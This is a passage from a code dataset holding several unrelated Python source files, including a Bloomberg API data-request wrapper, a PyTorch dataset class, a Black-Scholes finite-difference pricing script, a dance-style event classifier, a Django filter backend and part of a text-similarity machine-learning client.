ConnectionFailed('Connection Failed')\n        return self.session\n\n\nclass Request(object):\n\n    def __init__(self, session, request_type, service_type=ServiceType.DEFAULT_SVC):\n        self.session = session\n        self.request_type = request_type\n        self.service_name = service_type\n        self.request = None\n        return\n\n    def create(self):\n\n        try:\n            self.session.openService(self.service_name)\n            ref_data_service = self.session.getService(self.service_name)\n            self.request = ref_data_service.createRequest(self.request_type)\n            return self.request\n        except NotFoundException:\n            raise\n        except UnknownErrorException:\n            raise\n\n\nclass SessionFactory(object):\n\n    def __init__(self, session, cid, request_type):\n        self.session = session\n        self.cid = cid\n        self.request_type = request_type\n        return\n\n    def process_session(self):\n\n        output = {}\n        security_responses = {}\n\n        msg_processes = {RequestType.HISTORICAL_DATA: self._process_historical_data_msg,\n                         RequestType.REFERENCE_DATA: self._process_ref_data_msg,\n                         RequestType.INTRADAY_BAR_DATA: self._process_intraday_data_msg}\n\n        while True:\n            ev = self.session.nextEvent(500)\n\n            for msg in ev:\n\n                if self.cid in msg.correlationIds():\n\n                    security, sec_results = msg_processes[self.request_type](msg)\n                    response_type = str(msg.messageType())\n\n                    # For large requests (particularly intraday), the BBG message will be split into several responses.\n                    # Each response must be appended to the output.\n                    if security not in security_responses:\n                        security_responses[security] = []\n                        security_responses[security].append(response_type)\n                    else:\n                        security_responses[security].append(response_type)\n\n                    msg_response_count = self._get_response_count(security, security_responses, response_type)\n\n                    if security:\n                        if msg_response_count > 1:\n                            output[security] = self._merge_two_dicts(output[security], sec_results)\n                        else:\n                            output[security] = sec_results\n                    else:\n                        if msg_response_count > 1:\n                            output = self._merge_two_dicts(output, sec_results)\n                        else:\n                            output = sec_results\n\n            if ev.eventType() == blpapi.Event.RESPONSE:\n                break\n\n        return output\n\n    def _get_response_count(self, security, security_responses, request_type):\n        return security_responses[security].count(request_type)\n\n    def _process_intraday_data_msg(self, msg):\n\n        results = OrderedDict()\n\n        # Check for response errors\n        if msg.hasElement(RESPONSE_ERROR):\n            return None, self._response_error_factory(msg.getElement(RESPONSE_ERROR))\n\n        # Make sure there is bar data and get it\n        if not msg.hasElement(BAR_DATA):\n            raise NotFoundException('No Bar Data in message.', 666)\n        bar_data = msg.getElement(BAR_DATA)\n\n        for idx, bar_tick_data in enumerate(bar_data.getElement(BAR_TICK_DATA).values()):\n\n            data = {}\n\n            for element in bar_tick_data.elements():\n                data.setdefault(str(element.name()), element.getValue())\n\n            results[data['time']] = data\n\n        return None, results\n\n    def _process_ref_data_msg(self, msg):\n        \"\"\"\n        Processing for Reference Data calls\n        :param msg: Message from from Bloomberg Event\n        :type msg:\n        :return:\n        :rtype:\n        \"\"\"\n\n        results = {}\n\n        # Check for response errors\n        if msg.hasElement(RESPONSE_ERROR):\n            return None, self._response_error_factory(msg.getElement(RESPONSE_ERROR))\n\n        # Check to make sure there is security data present\n        if not msg.hasElement(SECURITY_DATA):\n            raise NotFoundException('No Security Data in message.', 666)\n\n        # Get security data and name\n        security_data = msg.getElement(SECURITY_DATA)\n        security = None\n\n        # Get generic iterator for data and find its length\n        security_iterator = self._get_bbg_iterator(security_data)\n        security_iterator_len = self._get_iterator_len(security_data)\n\n        for item in security_iterator:\n\n            security = item.getElementAsString(SECURITY)\n\n            # Check for field data\n            field_data = item.getElement(FIELD_DATA)\n            if self._get_iterator_len(field_data) > 0:\n                security_data_results = self._flatten_dict(self._element_factory(field_data, []))\n            else:\n                security_data_results = {}\n\n            # Check for errors with the ticker\n            security_errors = {}\n            if item.hasElement(SECURITY_ERROR):\n                security_errors = self._security_error_factory(item.getElement(SECURITY_ERROR))\n\n            # Check for errors with fields\n            field_exceptions = {}\n            if self._get_iterator_len(item.getElement(FIELD_EXCEPTIONS)) > 0:\n                field_exceptions = self._field_exception_factory(item.getElement(FIELD_EXCEPTIONS))\n\n            if security_iterator_len > 1:   # For nested results e.g. Yield Curve Objects\n                results[security] = {'security_data': security_data_results, 'field_exceptions': field_exceptions,\n                                     'security_errors': security_errors}\n            else:   # For flat results, e.g. single Equity, Future or Bond tickers\n                results = {'security_data': security_data_results, 'field_exceptions': field_exceptions,\n                           'security_errors': security_errors}\n\n        if security_iterator_len > 1:\n            return None, results\n        else:\n            return security, results\n\n    def _process_historical_data_msg(self, msg):\n\n            # Check for response errors\n            if msg.hasElement(RESPONSE_ERROR):\n                return None, self._response_error_factory(msg.getElement(RESPONSE_ERROR))\n\n            # Check to make sure there is security data present\n            if not msg.hasElement(SECURITY_DATA):\n                raise NotFoundException('No Security Data in message.', 666)\n\n            # Get security data and name\n            security_data = msg.getElement(SECURITY_DATA)\n            security = str(security_data.getElement(SECURITY).getValue())\n\n            # Check for security errors, e.g. invalid ticker\n            if security_data.hasElement(SECURITY_ERROR):\n                return security, {'security_errors': self._security_error_factory(security_data.getElement(SECURITY_ERROR)),\n                                  'security_data': {},\n                                  'field_exceptions': {}}\n\n            # Check for invalid field identifiers\n            field_exceptions = {}\n            if security_data.hasElement(FIELD_EXCEPTIONS):\n                field_exceptions = self._field_exception_factory(security_data.getElement(FIELD_EXCEPTIONS))\n\n            # Get the field data for the security\n            field_data = security_data.getElement(FIELD_DATA)\n\n            if self._get_iterator_len(field_data) > 0:\n                security_data_results = {}\n\n                for item in self._get_bbg_iterator(field_data):\n                    item_data = {}\n                    date = None\n\n                    for element in self._get_bbg_iterator(item):\n                        measure = str(element.name())\n                        value = element.getValue()\n\n                        if measure == 'date':\n                            date = value\n                            security_data_results.setdefault(date, {})\n                        else:\n                            item_data[measure] = value\n\n                    security_data_results[date] = item_data\n            else:\n                security_data_results = {}\n\n            results = {'security_data': security_data_results, 'security_errors': {}, 'field_exceptions': field_exceptions}\n\n            return security, results\n\n    def _response_error_factory(self, response_array):\n        response_errors = {}\n\n        for response_error in self._get_bbg_iterator(response_array):\n            response_errors[str(response_error.name())] = response_error.getValue()\n\n        return response_errors\n\n    def _field_exception_factory(self, field_exception_array):\n        field_exceptions = {}\n\n        for field_exception in self._get_bbg_iterator(field_exception_array):\n            error_info = field_exception.getElement(ERROR_INFO)\n            field_exceptions[error_info.getElementAsString(CATEGORY)] = \\\n                field_exception.getElementAsString(FIELD_ID)\n\n        return field_exceptions\n\n    def _security_error_factory(self, security_error):\n        security_errors = {}\n\n        for error in self._get_bbg_iterator(security_error):\n            security_errors[str(error.name())] = error.getValue()\n\n        return security_errors\n\n    def _element_factory(self, element, duplicate_elements, results=None):\n\n        if not element.isValid():\n            raise blpapi.NotFoundException\n\n        data_type = element.datatype()\n        element_name = str(element.name())\n\n        if data_type in BBG_SEQUENCES:\n\n            if results is None:\n                results = {}\n\n            if element_name not in results:\n                results[element_name] = {}\n            else:\n                element_name = '{0}_{1}'.format(element_name, str(len(duplicate_elements)))\n                duplicate_elements.append(element_name)\n                results[element_name] = {}\n\n            for sub_element in self._get_bbg_iterator(element):\n                self._element_factory(sub_element, duplicate_elements, results[element_name])\n\n        else:\n            single_value = self._field_factory(element)\n            results[single_value[0]] = single_value[1]\n            return results\n\n        return results\n\n    def _field_factory(self, data):\n\n        dtf = DataTypeFactory()\n\n        field_data_type = data.datatype()\n\n        process_factory = {DataType.BOOL: dtf.process_bool,\n                           DataType.BYTE: dtf.process_byte,\n                           DataType.BYTEARRAY: dtf.process_byte_array,\n                           DataType.CHAR: dtf.process_char,\n                           DataType.CORRELATION_ID: dtf.process_correlation_id,\n                           DataType.DATE: dtf.process_date,\n                           DataType.DATETIME: dtf.process_date_time,\n                           DataType.DECIMAL: dtf.process_scalar,\n                           DataType.ENUMERATION: dtf.process_enumeration,\n                           DataType.FLOAT32: dtf.process_scalar,\n                           DataType.FLOAT64: dtf.process_scalar,\n                           DataType.INT32: dtf.process_scalar,\n                           DataType.INT64: dtf.process_scalar,\n                           DataType.STRING: dtf.process_string,\n                           DataType.TIME: dtf.process_time}\n        try:\n            single_val_results = process_factory.get(field_data_type)(data)\n            return [single_val_results[0], single_val_results[1]]\n        except Exception:\n            raise\n\n    def _get_bbg_iterator(self, obj):\n        if obj.isArray():\n            return obj.values()\n        if obj.isComplexType():\n            return obj.elements()\n\n    def _get_iterator_len(self, obj):\n        if obj.isArray():\n            return obj.numValues()\n        if obj.isComplexType():\n            return obj.numElements()\n\n    def _merge_two_dicts(self, x, y):\n        # Given two dicts, merge them into a new dict as a shallow copy.\n        z = x.copy()\n        z.update(y)\n        return z\n\n    def _flatten_dict(self, obj):\n\n        if not isinstance(obj, dict):\n            return obj\n        elif len(obj) > 1:\n            return obj\n        else:\n            for k, v in obj.items():\n                if isinstance(v, dict) and len(v) == 1:\n                    return v\n                else:\n                    return self._flatten_dict(v)\n\nclass DataTypeFactory(object):\n\n    def __init__(self):\n        return\n\n    def process_bool(self, data):\n        return [str(data.name()), data.getValue()]\n\n    def process_byte(self, data):\n        return [str(data.name()), data.getValue()]\n\n    def process_byte_array(self, data):\n        return [str(data.name()), data.getValue()]\n\n    def process_char(self, data):\n        return [str(data.name()), data.getValue()]\n\n    def process_correlation_id(self, data):\n        return NotImplementedError\n\n    def process_date(self, data):\n        return [str(data.name()), data.getValue().strftime('%Y-%m-%d')]\n\n    def process_date_time(self, data):\n        return [str(data.name()), data.getValue().strftime('%Y-%m-%d %H:%M:%S')]\n\n    def process_enumeration(self, data):\n        return NotImplementedError\n\n    def process_string(self, data):\n        return [str(data.name()), data.getValue()]\n\n    def process_time(self, data):\n        return [str(data.name()), data.getValue().strftime('%H:%M:%S')]\n\n    def process_scalar(self, data):\n        return [str(data.name()), data.getValue()]\n\n\nclass IntradayBarRequest(object):\n\n    def __init__(self):\n        return\n\n    @staticmethod\n    def get(ticker, event_type, interval, start_date, end_date, max_data_points=2500):\n        \"\"\"\n        Intraday Bar Request for Bloomberg Data\n        :param ticker:  Single Bloomberg Ticker e.g. IBM US Equity\n        :type ticker: str\n        :param event_type: One of 'TRADE', 'BID', 'ASK', 'BEST_BID', 'BEST_ASK' or use IntradayBarRequestEventType\n        :type event_type: str\n        :param interval: Time period interval, e.g. 30\n        :type interval: int\n        :param start_date: Python Date or DateTime stamp\n        :type start_date: datetime\n        :param end_date: Python Date or DateTime stamp\n        :type end_date: datetime\n        :param max_data_points: Maximum number of points to return\n        :type max_data_points: int\n        :return: Dictionary of datetimes and open, high, low, close, volume\n        :rtype: dict\n        \"\"\"\n\n        try:\n            assert isinstance(ticker)\n            assert isinstance(interval, int)\n            assert event_type in ('TRADE', 'BID', 'ASK', 'BEST_BID', 'BEST_ASK')\n            assert isinstance(start_date, datetime)\n            assert isinstance(end_date, datetime)\n            assert isinstance(max_data_points, int)\n        except AssertionError:\n            raise\n\n        try:\n            session = Session().start()\n            request = Request(session, RequestType.INTRADAY_BAR_DATA).create()\n\n            request.set('security', ticker)\n            request.set('eventType', event_type)\n            request.set('interval', interval)\n            request.set('startDateTime', start_date)\n            request.set('endDateTime', end_date)\n            request.set('maxDataPoints', max_data_points)\n\n            cid = session.sendRequest(request)\n\n        except:\n            raise\n\n        try:\n            return SessionFactory(session, cid, RequestType.INTRADAY_BAR_DATA).process_session()\n        except:\n            raise\n        finally:\n            session.stop()\n\n\nclass HistoricalDataRequest(object):\n\n    def __init__(self):\n        return\n\n    @staticmethod\n    def get(tickers, fields, start_date, end_date, periodicity=Periodicity.DAILY, max_data_points=2500,\n            non_trading_day_fill_option=NonTradingDayFillOption.ACTIVE_DAYS_ONLY,\n            non_trading_day_fill_method=NonTradingDayFillMethod.NIL_VALUE\n\n            ):\n        \"\"\"\n        Historical Data Request for Bloomberg Data\n        :param tickers: List of Bloomberg Ticker Strings\n        :type tickers: list\n        :param fields: List of Bloomberg Field Names\n        :type fields: list\n        :param start_date: Python Date stamp\n        :type start_date: datetime\n        :param end_date: Python Date stamp\n        :type end_date: datetime\n        :param periodicity: One of 'DAILY', 'WEEKLY', 'MONTHLY', 'QUARTERLY', 'SEMI-ANNUAL', 'YEARLY'. There is a helper\n        class 'Periodicity' you can use to enter periodicity.\n        :type periodicity: str\n        :param max_data_points: Maximum number of points to return\n        :type max_data_points: int\n        :param non_trading_day_fill_option: One of 'NON_TRADING_WEEKDAYS', 'ALL_CALENDAR_DAYS', 'ACTIVE_DAYS_ONLY'\n        :type non_trading_day_fill_option: str\n        :param non_trading_day_fill_method: Either 'PREVIOUS_VALUE' or 'NIL_VALUE'\n        :type non_trading_day_fill_method: str\n        :return: Dictionary of Tickers, dates and fields\n        :rtype: dict\n        \"\"\"\n\n        try:\n            assert isinstance(tickers, list)\n            assert isinstance(fields, list)\n            assert periodicity in ('DAILY', 'WEEKLY', 'MONTHLY', 'QUARTERLY', 'SEMI-ANNUAL', 'YEARLY')\n            assert isinstance(start_date, datetime)\n            assert isinstance(end_date, datetime)\n            assert isinstance(max_data_points, int)\n            assert non_trading_day_fill_option in ('NON_TRADING_WEEKDAYS', 'ALL_CALENDAR_DAYS', 'ACTIVE_DAYS_ONLY')\n            assert non_trading_day_fill_method in ('PREVIOUS_VALUE', 'NIL_VALUE')\n\n        except AssertionError:\n            raise\n\n        start_date = start_date.strftime('%Y%m%d')\n        end_date = end_date.strftime('%Y%m%d')\n\n        try:\n            session = Session().start()\n            request = Request(session, RequestType.HISTORICAL_DATA).create()\n\n            for ticker in tickers:\n                request.append('securities', ticker)\n            for field in fields:\n                request.append('fields', field)\n\n            request.set('periodicityAdjustment', 'ACTUAL')\n            request.set('periodicitySelection', periodicity)\n            request.set('startDate', start_date)\n            request.set('endDate', end_date)\n            request.set('maxDataPoints', max_data_points)\n            request.set('nonTradingDayFillOption', non_trading_day_fill_option)\n            request.set('nonTradingDayFillMethod', non_trading_day_fill_method)\n\n            cid = session.sendRequest(request)\n\n        except:\n            raise\n\n        try:\n            return SessionFactory(session, cid, RequestType.HISTORICAL_DATA).process_session()\n        except:\n            raise\n        finally:\n            session.stop()\n\n\nclass ReferenceDataRequest(object):\n\n    def __init__(self):\n        return\n\n    @staticmethod\n    def get(tickers, fields, overrides=None):\n        \"\"\"\n        Reference Data Request i.e. non Market, Static Data for Bloomberg\n        :param tickers: List of Bloomberg Ticker Strings\n        :type tickers: list\n        :param fields: List of Bloomberg Field Names\n        :type fields: list\n        :param overrides: Dictionary of Field & Field Value overrides\n        :type overrides: dict\n        :return: Dictionary of Tickers & return fields\n        :rtype: dict\n        \"\"\"\n        try:\n            assert isinstance(tickers, list)\n            assert isinstance(fields, list)\n            if overrides:\n                assert isinstance(overrides, dict)\n        except AssertionError:\n            raise\n\n        try:\n            session = Session().start()\n            request = Request(session, RequestType.REFERENCE_DATA).create()\n\n            for ticker in tickers:\n                request.append('securities', ticker)\n            for field in fields:\n                request.append('fields', field)\n\n            if overrides:\n                for field_id, value in overrides.items():\n                    override = request.getElement('overrides').appendElement()\n                    override.setElement('fieldId', field_id)\n                    override.setElement('value', ReferenceDataRequest.format_override(field_id, value))\n\n            cid = session.sendRequest(request)\n\n        except:\n            raise\n\n        try:\n            return SessionFactory(session, cid, RequestType.REFERENCE_DATA).process_session()\n        except:\n            raise\n        finally:\n            session.stop()\n\n    @staticmethod\n    def format_override(field_id, value):\n        if field_id == 'CURVE_DATE':\n            return value.strftime('%Y%m%d')\n\n","sub_path":"bbg.py","file_name":"bbg.py","file_ext":"py","file_size_in_byte":22968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"585315478","text":"import torch.utils.data as tdata\n\n\nclass StoreGateDataset(tdata.Dataset):\n    \"\"\"StoreGate dataset class.\"\"\"\n    def __init__(self,\n                 storegate,\n                 phase,\n                 preload=False,\n                 input_var_names=None,\n                 true_var_names=None,\n                 callbacks=None):\n\n        self._storegate = storegate\n        self._true_var_names = true_var_names\n        self._phase = phase\n        self._preload = preload\n        self._input_var_names = input_var_names\n        self._true_var_names = true_var_names\n        self._callbacks = callbacks\n        self._size = len(storegate[phase])\n\n        if self._callbacks is None:\n            self._callbacks = []\n\n        self._data = None\n        self._target = None\n\n        if self._preload:\n            self._data = storegate.get_data(input_var_names, phase)\n            self._target = storegate.get_data(true_var_names, phase)\n\n    def __len__(self):\n        return self._size\n\n    def __getitem__(self, index):\n        if self._preload:\n            data = self._data[index]\n            target = self._target[index]\n\n        else:\n            data = self._storegate.get_data(var_names=self._input_var_names,\n                                            phase=self._phase,\n                                            index=index)\n            target = self._storegate.get_data(var_names=self._true_var_names,\n                                              phase=self._phase,\n                                              index=index)\n\n        for callback in self._callbacks:\n            data, target = callback(data, target)\n\n        return data, target\n","sub_path":"multiml/task/pytorch/datasets/storegate_dataset.py","file_name":"storegate_dataset.py","file_ext":"py","file_size_in_byte":1656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"432505017","text":"'''\n    PDE is\n    -DtV + (r-q)*x*DxV + 0.5*sigma^2*x^2*DxxV - r*V = 0\n'''\n\nimport numpy as np\nimport pandas as pd\nfrom scipy.sparse import diags\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport time\n\n'''\n    Set up parameters.\n'''\n\nr     = 0.03        # risk-free rate\nq     = 0           # dividend yield\nsigma = 0.2         # volatility of underlying\nT     = 10          # horizon (right edge)\nSmin  = 0           # top edge\nSmax  = 200         # bottom edge\nNt    = 10**5+1     # resolution in time\nNx    = 200+1       # resolution in space\ndt    = T/(Nt-1)\ndx    = (Smax-Smin)/(Nx-1)\n# Call with strike K\nK     = 105\n# Set up grids\nx_grid = np.linspace(Smin,Smax,Nx)\nt_grid = np.linspace(0,T,Nt)\n# Set up initial conditions\ninitial_conditions = pd.Series(x_grid).apply(lambda z:max(0,z-K))\n# Set up Dirichlet boundary conditions\nboundary_bottom    = pd.Series(np.zeros(Nt),index=t_grid)\nboundary_top       = pd.Series(max(0,Smax-K)*np.exp(-r*t_grid),index=t_grid)\n\n'''\n    Explicit method\n        Simple tridiagonal forward operator A.\n'''\n\nalpha = pd.Series(0.5*np.linspace(0,Nx,Nx)**2*(sigma**2)*dt/(dx**2),index=x_grid)\nbeta = pd.Series(0.5*(r-q)*np.linspace(0,Nx,Nx)*dt/dx,index=x_grid)\nl_e = alpha-beta ; d_e = 1-2*alpha-r*dt ; u_e = alpha+beta\n# Efficiently store sparse tridiagonal matrix\nexplicit = diags([d_e,u_e.iloc[0:Nx-1],l_e.iloc[1:Nx] ],[0,1,-1])\nV = pd.DataFrame(np.zeros((Nx,Nt)))\nV.iloc[:,0] = initial_conditions\n\ntic = time.clock()\nfor j in range(1,Nt):       # Approximately 302 seconds on my machine\n    Vk             = V.iloc[:,j-1].copy()\n    V.iloc[:,j]    = explicit*Vk                    # Forward operator\n    V.iloc[0,j]    = boundary_bottom.iloc[j]        # Impose boundary conditions\n    V.iloc[Nx-1,j] = boundary_top.iloc[j]           # Impose boundary conditions\n    print(j)\nV.index = np.linspace(Smin,Smax,Nx)\nV.columns = np.linspace(0,T,Nt)\ntoc = time.clock()\ntoc-tic\n\nimport seaborn as sns\nV.iloc[:,[0,20000,40000,60000,80000,100000]].plot()\nplt.savefig('explicit_method.png',dpi=300,\n            transparent=True,bbox_inches='tight')\nplt.close(\"all\")\n","sub_path":"vanilla_call/python/explicit_method.py","file_name":"explicit_method.py","file_ext":"py","file_size_in_byte":2109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"398872068","text":"# -*-*- encoding: utf-8 -*-*-\n\nfrom dancedeets.nlp import base_auto_classifier\nfrom dancedeets.nlp import grammar\nfrom dancedeets.nlp import style_base\nfrom dancedeets.nlp.styles import ballroom\nfrom dancedeets.nlp.styles import ballroom_keywords\nfrom dancedeets.nlp import event_types\n\nAny = grammar.Any\nName = grammar.Name\nconnected = grammar.connected\ncommutative_connected = grammar.commutative_connected\n\nSAMBA_KEYWORDS = Any(\n    *[\n        u'samba no p[ée]',\n        u'samba de gafieira',\n        u'samba pagode',\n        u'samba ax[ée]',\n        u'samba\\W?rock',\n        u'samba de roda',\n        u'roda de samba',\n    ] + ballroom_keywords.SAMBA\n)\n\n\nclass Classifier(base_auto_classifier.DanceStyleEventClassifier):\n    AMBIGUOUS_DANCE = SAMBA_KEYWORDS\n\n    def _quick_is_dance_event(self):\n        ballroom_classifier = ballroom.Style.get_classifier()(self._classified_event, debug=self._debug)\n        result = ballroom_classifier.is_dance_event()\n        for log in ballroom_classifier.debug_info():\n            self._log(log)\n        if result:\n            return False\n        return True\n\n\nclass Style(style_base.Style):\n    @classmethod\n    def get_name(cls):\n        return 'SAMBA'\n\n    @classmethod\n    def get_rare_search_keywords(cls):\n        return ballroom_keywords.SAMBA\n\n    @classmethod\n    def get_popular_search_keywords(cls):\n        return [\n            'samba',\n            'samba de gafieira',\n            'samba pagode',\n            'samba',\n        ]\n\n    @classmethod\n    def get_search_keyword_event_types(cls):\n        return event_types.PARTNER_EVENT_TYPES\n\n    @classmethod\n    def _get_classifier(cls):\n        return Classifier\n","sub_path":"server/dancedeets/nlp/styles/samba.py","file_name":"samba.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"155302334","text":"import json\nfrom django_filters.rest_framework import DjangoFilterBackend\n\n\nclass CustomFilterBackend(DjangoFilterBackend):\n    def apply_subset_lookup(self, field, value, queryset):\n        if value is None:\n            return queryset\n\n        try:\n            field_ids = json.loads(value)\n        except Exception:\n            return queryset\n\n        field_name = field + '__id'\n\n        for field_id in field_ids:\n            queryset = queryset.filter(**{field_name: field_id})\n        return queryset\n\n    def filter_queryset(self, request, queryset, view):\n        qs = super().filter_queryset(request, queryset, view)\n\n        if view is not None and hasattr(view, 'subset_filter_fields'):\n            fields = getattr(view, 'subset_filter_fields')\n            for field in fields:\n                subset_lookup = field + '__subset'\n                value = request.query_params.get(subset_lookup, None)\n                qs = self.apply_subset_lookup(field, value, qs)\n        return qs","sub_path":"api/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"377074927","text":"from enum import Enum\nfrom typing import Dict, List, Union\nfrom previsionio.dataset import Dataset\nimport requests\nfrom .usecase_config import DataType, UsecaseConfig, TypeProblem, YesOrNo, YesOrNoOrAuto\nfrom .prevision_client import client\nfrom .utils import parse_json, EventTuple, to_json\nfrom .model import TextSimilarityModel\nfrom .usecase_version import BaseUsecaseVersion\nimport previsionio as pio\n\n\nclass ModelEmbedding(Enum):\n    \"\"\"Embedding models for Text Similarity\"\"\"\n    TFIDF = 'tf_idf'\n    \"\"\"Term Frequency - Inverse Document Frequency\"\"\"\n    Transformer = 'transformer'\n    \"\"\"Transformer\"\"\"\n    TransformerFineTuned = 'transformer_fine_tuned'\n    \"\"\"fine tuned Transformer\"\"\"\n\n\nclass TextSimilarityModels(Enum):\n    \"\"\"Similarity search models for Text Similarity\"\"\"\n    BruteForce = 'brute_force'\n    \"\"\"Brute force search\"\"\"\n    ClusterPruning = 'cluster_pruning'\n    \"\"\"Cluster Pruning\"\"\"\n    IVFOPQ = 'ivfopq'\n    \"\"\"InVerted File system and Optimized Product Quantization\"\"\"\n    HKM = 'hkm'\n    \"\"\"Hierarchical K-Means\"\"\"\n    LSH = 'lsh'\n    \"\"\"Locality Sensitive Hashing\"\"\"\n\n\nclass TextSimilarityLang(Enum):\n    Auto = 'auto'\n    French = 'fr'\n    English = 'en'\n\n\nclass Preprocessing(object):\n    config = {}\n\n    def __init__(self,\n                 word_stemming: YesOrNo = YesOrNo.Yes,\n                 ignore_stop_word: YesOrNoOrAuto = YesOrNoOrAuto.Auto,\n                 ignore_punctuation: YesOrNo = YesOrNo.Yes):\n        self.word_stemming = word_stemming\n        self.ignore_stop_word = ignore_stop_word\n        self.ignore_punctuation = ignore_punctuation\n\n\nclass ModelsParameters(UsecaseConfig):\n    \"\"\" Training configuration that holds the relevant data for a usecase description:\n    the wanted feature engineering, the selected models, the training speed...\n\n    Args:\n        preprocessing (Preprocessing, optional): Dictionary of the text preprocessings to be applied\n            (only for \"tf_idf\" embedding model),\n\n            - *word_stemming*: default to \"yes\"\n            - *ignore_stop_word*: default to \"auto\", choice will be made depending on if the\n              text descriptions contain full sentences or not\n            - *ignore_punctuation*: default to \"no\".\n        model_embedding (ModelEmbedding, optional): Name of the embedding model to be used\n            (among: \"tf_idf\", \"transformer\", \"transformer_fine_tuned\").\n        models (list(TextSimilarityModels), optional): Names of the searching models to be used (among:\n            \"brute_force\", \"cluster_pruning\", \"ivfopq\", \"hkm\", \"lsh\").\n    \"\"\"\n\n    config = {\n        'model_embedding': 'model_embedding',\n        'preprocessing': 'preprocessing',\n        'models': 'models'\n    }\n\n    def __init__(self,\n                 model_embedding: ModelEmbedding = ModelEmbedding.TFIDF,\n                 preprocessing: Preprocessing = Preprocessing(),\n                 models: List[TextSimilarityModels] = [TextSimilarityModels.BruteForce]):\n        self.model_embedding = model_embedding\n        if isinstance(preprocessing, Preprocessing):\n            self.preprocessing = preprocessing\n        elif preprocessing == {}:\n            self.preprocessing = preprocessing\n        else:\n            self.preprocessing = Preprocessing(**preprocessing)\n        self.models = models\n\n\nclass ListModelsParameters(UsecaseConfig):\n\n    config = {\n        'models_parameters': 'models_params'\n    }\n\n    def __init__(self, models_parameters: Union[List[ModelsParameters], List[Dict], None] = None):\n\n        if models_parameters is None:\n\n            models_parameters_1 = ModelsParameters(ModelEmbedding.TFIDF,\n                                                   Preprocessing(),\n                                                   [TextSimilarityModels.BruteForce,\n                                                    TextSimilarityModels.ClusterPruning])\n            models_parameters_2 = ModelsParameters(ModelEmbedding.Transformer,\n                                                   Preprocessing(),\n                                                   [TextSimilarityModels.BruteForce, TextSimilarityModels.IVFOPQ])\n            models_parameters_3 = ModelsParameters(ModelEmbedding.TransformerFineTuned,\n                                                   Preprocessing(),\n                                                   [TextSimilarityModels.BruteForce, TextSimilarityModels.IVFOPQ])\n            models_parameters = [models_parameters_1, models_parameters_2, models_parameters_3]\n        self.models_parameters = []\n        for element in models_parameters:\n            if isinstance(element, ModelsParameters):\n                self.models_parameters.append(element)\n            else:\n                self.models_parameters.append(ModelsParameters(**element))\n\n\nclass DescriptionsColumnConfig(UsecaseConfig):\n    \"\"\" Description Column configuration for starting a usecase: this object defines\n    the role of specific columns in the dataset.\n\n    Args:\n        content_column (str, required): Name of the column containing the text descriptions in the\n            description dataset.\n        id_column (str, optional): Name of the id column in the description dataset.\n    \"\"\"\n\n    config = {\n    }\n\n    def __init__(self,\n                 content_column,\n                 id_column):\n        self.content_column = content_column\n        self.id_column = id_column\n\n\nclass QueriesColumnConfig(UsecaseConfig):\n    \"\"\" Description Column configuration for starting a usecase: this object defines\n    the role of specific columns in the dataset.\n\n    Args:\n        content_column (str, required): Name of the column containing the text queries in the\n            description dataset.\n        id_column (str, optional): Name of the id column in the description dataset.\n    \"\"\"\n\n    # config = {\n    #     'queries_dataset_content_column': 'queriesDatasetContentColumn',\n    #     'queries_dataset_matching_id_description_column': 'queriesDatasetMatchingIdDescriptionColumn',\n    #     'queries_dataset_id_column': 'queriesDatasetIdColumn',\n    # }\n\n    def __init__(self,\n                 queries_dataset_content_column,\n                 queries_dataset_matching_id_description_column,\n                 queries_dataset_id_column=None):\n        self.queries_dataset_content_column = queries_dataset_content_column\n        self.queries_dataset_matching_id_description_column = queries_dataset_matching_id_description_column\n        self.queries_dataset_id_column = queries_dataset_id_column\n\n\nclass TextSimilarity(BaseUsecaseVersion):\n\n    default_metric: pio.metrics.TextSimilarity = pio.metrics.TextSimilarity.accuracy_at_k\n    default_top_k: int = 10\n    data_type: DataType = DataType.Tabular\n    training_type: TypeProblem = TypeProblem.TextSimilarity\n    resource: str = 'usecase-versions'\n    model_class = TextSimilarityModel\n\n    def __init__(self, **usecase_info):\n        super().__init__(**usecase_info)\n        self.name: str = usecase_info.get('name')\n        self.dataset = usecase_info.get('dataset_id')\n        usecase_version_params = usecase_info['usecase_version_params']\n        self.metric: pio.metrics.TextSimilarity = pio.metrics.TextSimilarity(\n            usecase_version_params.get('metric', self.default_metric))\n        self.top_k: int = usecase_version_params.get('top_K', self.default_top_k)\n        self.lang: TextSimilarityLang = TextSimilarityLang(usecase_version_params.get('lang', TextSimilarityLang.Auto))\n\n        self.description_column_config = DescriptionsColumnConfig(\n            content_column=usecase_version_params.get('content_column'),\n            id_column=usecase_version_params.get('id_column'))\n        if usecase_info.get('queries_dataset_id'):\n            self.queries_dataset = usecase_info.get('queries_dataset_id')\n            content_column = usecase_version_params.get('queries_dataset_content_column')\n            matching_id = usecase_version_params.get('queries_dataset_matching_id_description_column')\n            queries_dataset_id_column = usecase_version_params.get('queries_dataset_id_column', None)\n            self.queries_column_config = QueriesColumnConfig(queries_dataset_content_column=content_column,\n                                                             queries_dataset_matching_id_description_column=matching_id,\n                                                             queries_dataset_id_column=queries_dataset_id_column)\n        else:\n            self.queries_dataset = None\n            self.queries_column_config = None\n        models_parameters = usecase_version_params.get('models_params')\n        self.models_parameters = ListModelsParameters(models_parameters=models_parameters)\n\n        self._id: str = usecase_info.get('_id')\n        self.usecase_id = usecase_info.get('usecase_id')\n        self.project_id = usecase_info.get('project_id')\n        self.version = usecase_info.get('version', 1)\n        self._usecase_info = usecase_info\n        self.dataset_id: str = usecase_info.get('dataset_id')\n        self.predictions = {}\n        self.predict_token = None\n\n        self._models = {}\n\n    @classmethod\n    def from_id(cls, _id: str) -> 'TextSimilarity':\n        return cls(**super()._from_id(_id))\n\n    @classmethod\n    def load(cls, pio_file: str) -> 'TextSimilarity':\n        return cls(**super()._load(pio_file))\n\n    @classmethod\n    def _fit(\n        cls,\n        project_id: str,\n        name: str,\n        dataset: Dataset,\n        description_column_config: DescriptionsColumnConfig,\n        metric: pio.metrics.TextSimilarity = 